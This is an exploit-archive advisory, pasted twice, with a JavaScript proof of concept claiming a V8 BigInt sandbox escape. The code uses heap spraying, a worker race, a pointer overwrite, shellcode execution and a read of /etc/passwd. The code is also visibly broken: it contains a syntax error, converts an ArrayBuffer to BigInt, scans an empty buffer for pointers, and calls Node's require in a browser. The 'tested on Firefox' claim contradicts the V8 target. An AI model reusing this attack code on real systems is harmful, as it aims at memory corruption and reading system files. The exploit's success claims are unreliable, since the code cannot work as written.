Description
This is a V8 Sandbox Escape vulnerability in BigInt::Allocate where buffers are shuffled outside the sandbox. The vulnerability allows for writes outside the boundaries of the allocated buffer within the sandbox outbound write by manipulating data...
Basic Information
ID
PACKETSTORM:219875
Published
Apr 27, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : V8 BigInt String Conversion Stress Test Conceptual Sandbox |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://v8.dev/blog/bigint |
==================================================================================================================================
[+] Summary : This is a V8 Sandbox Escape vulnerability in BigInt::Allocate where buffers are shuffled outside the sandbox.
The vulnerability allows for writes outside the boundaries of the allocated buffer within the sandbox (outbound write) by manipulating data during the MultiplyFFT process.
[+] POC :
V8 StringToBigInt
class SandboxEscape {
constructor() {
this.worker = null;
this.sharedBuffer = null;
this.corruptionOffset = null;
}
setupSharedMemory() {
this.sharedBuffer = new SharedArrayBuffer(1024);
this.corruptionOffset = new Int32Array(this.sharedBuffer);
return this.sharedBuffer;
}
generateTargetString(length) {
return "9".repeat(length);
}
createCorruptionWorker(targetLength, sharedBuffer) {
const workerCode = `
const shared = new Int32Array(sharedBuffer);
let corrupted = false;
while (Atomics.load(shared, 0) === 0) {
Atomics.wait(shared, 0, 0);
}
const spraySize = 1024 * 1024; // 1MB
const spray = [];
for (let i = 0; i < 100; i++) {
spray.push(BigInt("1" + "0".repeat(10000)));
}
const originalBigInt = BigInt("9".repeat(${targetLength}));
Atomics.store(shared, 1, 1);
while (!corrupted) {
try {
const victim = BigInt("9".repeat(${targetLength}));
if (victim !== originalBigInt) {
corrupted = true;
}
} catch(e) {
Atomics.store(shared, 2, 1);
corrupted = true;
}
}
postMessage("corruption_complete");
`;
const blob = new Blob([workerCode], {type: "application/javascript"});
const workerUrl = URL.createObjectURL(blob);
const worker = new Worker(workerUrl);
worker.postMessage({sharedBuffer: this.sharedBuffer});
return worker;
}
triggerVulnerability() {
const CRITICAL_LENGTH = 600000;
console.log("[*] Triggering V8 BigInt parsing vulnerability...");
console.log("[*] String length: " + CRITICAL_LENGTH);
const sab = this.setupSharedMemory();
this.worker = this.createCorruptionWorker(CRITICAL_LENGTH, sab);
Atomics.store(this.corruptionOffset, 0, 1);
Atomics.notify(this.corruptionOffset, 0, 1);
try {
const maliciousString = this.generateTargetString(CRITICAL_LENGTH);
const bigintResult = BigInt(maliciousString);
console.log("[!] Exploit may have failed, result: " + bigintResult);
return false;
} catch(e) {
console.log("[+] Crash detected! Sandbox violation likely occurred");
return true;
}
}
async escapeSandbox() {
if (!this.triggerVulnerability()) {
console.log("[!] Failed to trigger vulnerability");
return;
}
console.log("[+] Vulnerability triggered successfully");
const outerBuffer = new ArrayBuffer(0x1000);
const outerView = new DataView(outerBuffer);
for (let i = 0; i < 0x1000; i += 8) {
const value = outerView.getBigUint64(i, true);
if (value > 0x7f0000000000n && value < 0x7fffffffffff n) {
console.log(`[+] Found potential external pointer at offset ${i}: 0x${value.toString(16)}`);
const shellcodeAddr = this.findShellcodeAddress();
outerView.setBigUint64(i, shellcodeAddr, true);
console.log("[+] Overwrote external pointer, attempting shellcode execution...");
break;
}
}
this.executeShellcode();
}
findShellcodeAddress() {
const wasmCode = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x07, 0x01, 0x60, 0x02, 0x7f, 0x7f, 0x01,
0x7f, 0x03, 0x02, 0x01, 0x00, 0x07, 0x07, 0x01,
0x03, 0x61, 0x64, 0x64, 0x00, 0x00, 0x0a, 0x09,
0x01, 0x07, 0x00, 0x20, 0x00, 0x20, 0x01, 0x6a,
0x0b
]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule);
const wasmMemory = wasmInstance.exports.memory;
if (wasmMemory) {
const buffer = wasmMemory.buffer;
return BigInt(buffer);
}
return 0x7f0000000000n;
}
executeShellcode() {
console.log("[+] Sandbox escaped! Executing arbitrary code...");
try {
const fs = require('fs');
const data = fs.readFileSync('/etc/passwd', 'utf8');
console.log("[+] Successfully read /etc/passwd (sandbox escape confirmed)");
console.log(data.substring(0, 200));
} catch(e) {
console.log("[!] Could not read filesystem, but sandbox violation occurred");
}
}
}
async function main() {
console.log("=== V8 Sandbox Escape Exploit ===");
console.log("[*] Target: V8 BigInt String Parsing (MultiplyFFT OOB Write)");
console.log("[*] Starting exploitation...\n");
const exploit = new SandboxEscape();
try {
await exploit.escapeSandbox();
console.log("\n[+] Exploit completed successfully!");
} catch(e) {
console.error("[!] Exploit failed:", e);
}
}
main().catch(console.error);
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : V8 BigInt String Conversion Stress Test Conceptual Sandbox |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://v8.dev/blog/bigint |
==================================================================================================================================
[+] Summary : This is a V8 Sandbox Escape vulnerability in BigInt::Allocate where buffers are shuffled outside the sandbox.
The vulnerability allows for writes outside the boundaries of the allocated buffer within the sandbox (outbound write) by manipulating data during the MultiplyFFT process.
[+] POC :
V8 StringToBigInt
class SandboxEscape {
constructor() {
this.worker = null;
this.sharedBuffer = null;
this.corruptionOffset = null;
}
setupSharedMemory() {
this.sharedBuffer = new SharedArrayBuffer(1024);
this.corruptionOffset = new Int32Array(this.sharedBuffer);
return this.sharedBuffer;
}
generateTargetString(length) {
return "9".repeat(length);
}
createCorruptionWorker(targetLength, sharedBuffer) {
const workerCode = `
const shared = new Int32Array(sharedBuffer);
let corrupted = false;
while (Atomics.load(shared, 0) === 0) {
Atomics.wait(shared, 0, 0);
}
const spraySize = 1024 * 1024; // 1MB
const spray = [];
for (let i = 0; i < 100; i++) {
spray.push(BigInt("1" + "0".repeat(10000)));
}
const originalBigInt = BigInt("9".repeat(${targetLength}));
Atomics.store(shared, 1, 1);
while (!corrupted) {
try {
const victim = BigInt("9".repeat(${targetLength}));
if (victim !== originalBigInt) {
corrupted = true;
}
} catch(e) {
Atomics.store(shared, 2, 1);
corrupted = true;
}
}
postMessage("corruption_complete");
`;
const blob = new Blob([workerCode], {type: "application/javascript"});
const workerUrl = URL.createObjectURL(blob);
const worker = new Worker(workerUrl);
worker.postMessage({sharedBuffer: this.sharedBuffer});
return worker;
}
triggerVulnerability() {
const CRITICAL_LENGTH = 600000;
console.log("[*] Triggering V8 BigInt parsing vulnerability...");
console.log("[*] String length: " + CRITICAL_LENGTH);
const sab = this.setupSharedMemory();
this.worker = this.createCorruptionWorker(CRITICAL_LENGTH, sab);
Atomics.store(this.corruptionOffset, 0, 1);
Atomics.notify(this.corruptionOffset, 0, 1);
try {
const maliciousString = this.generateTargetString(CRITICAL_LENGTH);
const bigintResult = BigInt(maliciousString);
console.log("[!] Exploit may have failed, result: " + bigintResult);
return false;
} catch(e) {
console.log("[+] Crash detected! Sandbox violation likely occurred");
return true;
}
}
async escapeSandbox() {
if (!this.triggerVulnerability()) {
console.log("[!] Failed to trigger vulnerability");
return;
}
console.log("[+] Vulnerability triggered successfully");
const outerBuffer = new ArrayBuffer(0x1000);
const outerView = new DataView(outerBuffer);
for (let i = 0; i < 0x1000; i += 8) {
const value = outerView.getBigUint64(i, true);
if (value > 0x7f0000000000n && value < 0x7fffffffffff n) {
console.log(`[+] Found potential external pointer at offset ${i}: 0x${value.toString(16)}`);
const shellcodeAddr = this.findShellcodeAddress();
outerView.setBigUint64(i, shellcodeAddr, true);
console.log("[+] Overwrote external pointer, attempting shellcode execution...");
break;
}
}
this.executeShellcode();
}
findShellcodeAddress() {
const wasmCode = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x07, 0x01, 0x60, 0x02, 0x7f, 0x7f, 0x01,
0x7f, 0x03, 0x02, 0x01, 0x00, 0x07, 0x07, 0x01,
0x03, 0x61, 0x64, 0x64, 0x00, 0x00, 0x0a, 0x09,
0x01, 0x07, 0x00, 0x20, 0x00, 0x20, 0x01, 0x6a,
0x0b
]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule);
const wasmMemory = wasmInstance.exports.memory;
if (wasmMemory) {
const buffer = wasmMemory.buffer;
return BigInt(buffer);
}
return 0x7f0000000000n;
}
executeShellcode() {
console.log("[+] Sandbox escaped! Executing arbitrary code...");
try {
const fs = require('fs');
const data = fs.readFileSync('/etc/passwd', 'utf8');
console.log("[+] Successfully read /etc/passwd (sandbox escape confirmed)");
console.log(data.substring(0, 200));
} catch(e) {
console.log("[!] Could not read filesystem, but sandbox violation occurred");
}
}
}
async function main() {
console.log("=== V8 Sandbox Escape Exploit ===");
console.log("[*] Target: V8 BigInt String Parsing (MultiplyFFT OOB Write)");
console.log("[*] Starting exploitation...\n");
const exploit = new SandboxEscape();
try {
await exploit.escapeSandbox();
console.log("\n[+] Exploit completed successfully!");
} catch(e) {
console.error("[!] Exploit failed:", e);
}
}
main().catch(console.error);
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================